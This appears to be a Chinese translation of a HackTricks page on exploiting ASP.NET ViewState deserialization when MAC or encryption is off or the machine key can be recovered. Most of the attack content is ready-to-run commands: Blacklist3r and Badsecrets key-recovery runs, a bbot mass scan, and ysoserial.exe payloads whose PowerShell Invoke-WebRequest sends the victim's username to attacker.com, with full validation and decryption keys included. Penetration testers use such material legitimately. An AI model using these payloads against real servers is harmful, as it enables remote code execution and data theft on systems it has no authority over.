Exploiting __VIEWSTATE without knowing the secrets

支持 HackTricks

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级 漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

什么是 ViewState

ViewState 是 ASP.NET 中用于在网页之间保持页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。

ViewState 信息可以通过以下属性或其组合来表征:

  • Base64

  • EnableViewStateMacViewStateEncryptionMode 属性都设置为 false 时使用此格式。

  • Base64 + 启用 MAC (消息认证码)

  • 通过将 EnableViewStateMac 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。

  • Base64 + 加密

  • ViewStateEncryptionMode 属性设置为 true 时应用加密,以确保 ViewState 数据的机密性。

测试用例

该图像是一个表格,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要:

  1. 对于 任何版本的 .NET,当 MAC 和加密都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。

  2. 对于 4.5 版本以下,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。

  3. 对于 4.5 版本以下,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - 未来开发" 的任务。

  4. 对于 4.5 版本及以上,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。

测试用例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false

还可以通过将 AspNetEnforceViewStateMac 注册表项设置为零来完全禁用 ViewStateMAC:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

识别 ViewState 属性

您可以尝试通过使用 BurpSuite 捕获包含此参数的请求来识别 ViewState 是否受到 MAC 保护。如果未使用 Mac 保护该参数,您可以使用 YSoSerial.Net 进行利用。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

开发人员可以移除 ViewState,使其不成为 HTTP 请求的一部分(用户将不会收到此 cookie)。 人们可能会假设,如果ViewState****不存在,他们的实现就安全,不会出现与 ViewState 反序列化相关的潜在漏洞。 然而,事实并非如此。如果我们将 ViewState 参数添加到请求体中,并发送我们使用 ysoserial 创建的序列化有效负载,我们仍然能够实现代码执行,如案例 1所示。

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

为了启用 ViewState MAC,我们需要在特定的 aspx 文件上进行以下更改:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

我们还可以通过在 web.config 文件中设置它来实现 整体 应用程序,如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

由于该参数受到MAC保护,因此要成功执行攻击,我们首先需要使用的密钥。

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找使用的密钥。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,因此与 Blacklist3r 不同,没有 Windows 依赖。对于 .NET viewstates,有一个 "python blacklist3r" 工具,这是使用它的最快方法。

它可以直接提供 viewstate 和 generator:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

或者,它可以直接连接到目标 URL,并尝试从 HTML 中提取 viewstate:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

为了大规模搜索易受攻击的 viewstate,结合子域枚举,可以使用 badsecrets BBOT 模块:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

如果你运气好并且找到了密钥,你可以使用 YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

在服务器未发送_VIEWSTATEGENERATOR参数的情况下,您不需要提供--generator参数而是这些

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true

在这种情况下,不知道该参数是否受到MAC保护。然后,值可能被加密,您将需要机器密钥来加密您的有效负载以利用该漏洞。

在这种情况下, Blacklist3r 模块正在开发中...

在 .NET 4.5 之前, ASP.NET 可以接受来自用户的未加密 ___VIEWSTATE_ 参数,即使**ViewStateEncryptionMode已设置为_始终_。ASP.NET 仅检查请求中__VIEWSTATEENCRYPTED参数的存在**。如果删除此参数并发送未加密的有效负载,它仍然会被处理。

因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用案例 2中使用的YSoSerial.Net命令,通过ViewState反序列化漏洞执行RCE。

  • 从请求中删除__VIEWSTATEENCRYPTED参数,以利用ViewState反序列化漏洞,否则将返回Viewstate MAC验证错误,利用将失败。

Test Case: 4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除了两个属性为false

我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架,如下所示。

<httpRuntime targetFramework="4.5" />

或者,可以通过在 web.config 文件的 machineKey 参数中指定以下选项来完成此操作。

compatibilityMode="Framework45"

如前所述,值是加密的。 然后,要发送有效的有效负载,攻击者需要密钥

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找正在使用的密钥:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

对于IISDirPath和TargetPagePath的更详细描述 refer here

或者,使用 Badsecrets(带生成器值):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

一旦识别出有效的机器密钥,下一步是使用 YSoSerial.Net 生成序列化有效负载

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

如果你有__VIEWSTATEGENERATOR的值,你可以尝试使用--generator参数并省略--path--apppath参数。

成功利用ViewState反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的带外请求。这种利用方式在一个名为“使用Blacklist3r和YsoSerial.NET利用ViewState反序列化”的概念验证(PoC)中得到了展示。有关利用过程如何工作的更多细节,以及如何使用像Blacklist3r这样的工具来识别MachineKey,你可以查看提供的成功利用的PoC

测试用例 6 – 使用了ViewStateUserKeys

ViewStateUserKey属性可以用来防御****CSRF攻击。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成ViewState有效负载,有效负载将不会被应用程序处理。 你需要使用一个额外的参数来正确创建有效负载:

--viewstateuserkey="randomstringdefinedintheserver"

成功利用的结果

对于所有测试用例,如果 ViewState YSoSerial.Net 负载 成功 工作,则服务器响应“500 内部服务器错误”,响应内容为“该页面的状态信息无效,可能已损坏”,并且我们获得 OOB 请求。

查看 进一步信息在这里

参考文献

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级 漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

支持 HackTricks

Last updated